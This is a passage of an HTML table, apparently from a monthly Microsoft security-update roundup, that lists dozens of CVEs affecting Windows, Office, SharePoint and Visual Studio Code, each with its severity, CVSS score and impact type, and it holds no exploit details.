  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34329"><span>CVE-2026-34329</span></a></td>
  <td width="256" class="xl73">Microsoft Message
  Queuing (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40419"><span>CVE-2026-40419</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40418"><span>CVE-2026-40418</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35436"><span>CVE-2026-35436</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40420"><span>CVE-2026-40420</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42893"><span>CVE-2026-42893</span></a></td>
  <td width="256" class="xl73">Microsoft Outlook for
  iOS Tampering Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40374"><span>CVE-2026-40374</span></a></td>
  <td width="256" class="xl73">Microsoft Power
  Automate Desktop Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41102"><span>CVE-2026-41102</span></a></td>
  <td width="256" class="xl73">Microsoft PowerPoint
  for Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35439"><span>CVE-2026-35439</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40368"><span>CVE-2026-40368</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33110"><span>CVE-2026-33110</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33112"><span>CVE-2026-33112</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40357"><span>CVE-2026-40357</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32185"><span>CVE-2026-32185</span></a></td>
  <td width="256" class="xl73">Microsoft Teams
  Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41101"><span>CVE-2026-41101</span></a></td>
  <td width="256" class="xl73">Microsoft Word for
  Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35440"><span>CVE-2026-35440</span></a></td>
  <td width="256" class="xl73">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40421"><span>CVE-2026-40421</span></a></td>
  <td width="256" class="xl73">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41097"><span>CVE-2026-41097</span></a></td>
  <td width="256" class="xl73">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40370"><span>CVE-2026-40370 †</span></a></td>
  <td width="256" class="xl73">SQL Server Remote Code
  Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41613"><span>CVE-2026-41613</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41612"><span>CVE-2026-41612</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41611"><span>CVE-2026-41611</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41610"><span>CVE-2026-41610</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33839"><span>CVE-2026-33839</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33840"><span>CVE-2026-33840</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34330"><span>CVE-2026-34330</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34331"><span>CVE-2026-34331</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35423"><span>CVE-2026-35423</span></a></td>
  <td width="256" class="xl73">Windows 11 Telnet
  Client Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35438"><span>CVE-2026-35438</span></a></td>
  <td width="256" class="xl73">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41086"><span>CVE-2026-41086</span></a></td>
  <td width="256" class="xl73">Windows Admin Center
  in Azure Portal Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34344"><span>CVE-2026-34344</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34345"><span>CVE-2026-34345</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35416"><span>CVE-2026-35416</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41088"><span>CVE-2026-41088</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34343"><span>CVE-2026-34343</span></a></td>
  <td width="256" class="xl73">Windows Application
  Identity (AppID) Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35418"><span>CVE-2026-35418</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33835"><span>CVE-2026-33835</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34337"><span>CVE-2026-34337</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40407"><span>CVE-2026-40407</span></a></td>
  <td width="256" class="xl73">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40397"><span>CVE-2026-40397</span></a></td>
  <td width="256" class="xl73">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42896"><span>CVE-2026-42896</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35419"><span>CVE-2026-35419</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34336"><span>CVE-2026-34336</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33834"><span>CVE-2026-33834</span></a></td>
  <td width="256" class="xl73">Windows Event Logging
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32209"><span>CVE-2026-32209</span></a></td>
  <td width="256" class="xl73">Windows Filtering
  Platform (WFP) Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33841"><span>CVE-2026-33841</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35420"><span>CVE-2026-35420</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40369"><span>CVE-2026-40369</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="71">
  <td class="xl67" height="71"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34332"><span>CVE-2026-34332</span></a></td>
  <td width="256" class="xl73">Windows Kernel-Mode
  Driver Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34339"><span>CVE-2026-34339</span></a></td>
  <td width="256" class="xl73">Windows Lightweight
  Directory Access Protocol (LDAP) Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34341"><span>CVE-2026-34341</span></a></td>
  <td width="256" class="xl73">Windows Link-Layer
  Discovery Protocol (LLDP) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33838"><span>CVE-2026-33838</span></a></td>
  <td width="256" class="xl73">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34342"><span>CVE-2026-34342</span></a></td>
  <td width="256" class="xl73">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41095"><span>CVE-2026-41095</span></a></td>
  <td width="256" class="xl73">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34340"><span>CVE-2026-34340</span></a></td>
  <td width="256" class="xl73">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40398"><span>CVE-2026-40398</span></a></td>
  <td width="256" class="xl73">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21530"><span>CVE-2026-21530</span></a></td>
  <td width="256" class="xl73">Windows Rich Text Edit
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32170"><span>CVE-2026-32170</span></a></td>
  <td width="256" class="xl73">Windows Rich Text Edit
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40410"><span>CVE-2026-40410</span></a></td>
  <td width="256" class="xl73">Windows SMB Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35415"><span>CVE-2026-35415</span></a></td>
  <td width="256" class="xl73">Windows Storage Spaces
  Controller Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34350"><span>CVE-2026-34350</span></a></td>
  <td width="256" class="xl73">Windows Storport
  Miniport Driver Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40405"><span>CVE-2026-40405</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40414"><span>CVE-2026-40414</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40401"><span>CVE-2026-40401</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40413"><span>CVE-2026-40413</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35422"><span>CVE-2026-35422</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Driver
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34351"><span>CVE-2026-34351</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40399"><span>CVE-2026-40399</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34334"><span>CVE-2026-34334</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40406"><span>CVE-2026-40406</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33837"><span>CVE-2026-33837</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Local
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40415"><span>CVE-2026-40415</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42825"><span>CVE-2026-42825</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
